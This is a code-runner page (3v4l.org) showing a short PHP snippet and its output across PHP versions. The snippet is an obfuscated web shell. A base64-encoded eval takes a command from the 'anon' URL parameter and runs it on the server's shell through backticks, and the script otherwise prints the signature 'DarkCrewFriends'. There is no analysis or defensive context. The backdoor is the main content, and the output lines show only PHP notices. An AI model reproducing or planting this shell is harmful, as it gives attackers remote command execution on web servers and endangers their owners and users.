3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php $anon = $_GET['anon']; if (isset($anon)) { eval(base64_decode('JGE9YmFzZTY0X2RlY29kZSgkYW5vbik7JGFhID0gYCRhYDtlY2hvICRhYTs=')); } else {echo base64_decode(RGFya0NyZXdGcmllbmRz);}
Output for 7.2.0 - 7.2.6
Notice: Undefined index: anon in /in/W0qEI on line 3 Warning: Use of undefined constant RGFya0NyZXdGcmllbmRz - assumed 'RGFya0NyZXdGcmllbmRz' (this will throw an Error in a future version of PHP) in /in/W0qEI on line 3 DarkCrewFriends
Output for 5.6.0 - 5.6.30, hhvm-3.15.4, 7.0.0 - 7.1.20
Notice: Undefined index: anon in /in/W0qEI on line 3 Notice: Use of undefined constant RGFya0NyZXdGcmllbmRz - assumed 'RGFya0NyZXdGcmllbmRz' in /in/W0qEI on line 3 DarkCrewFriends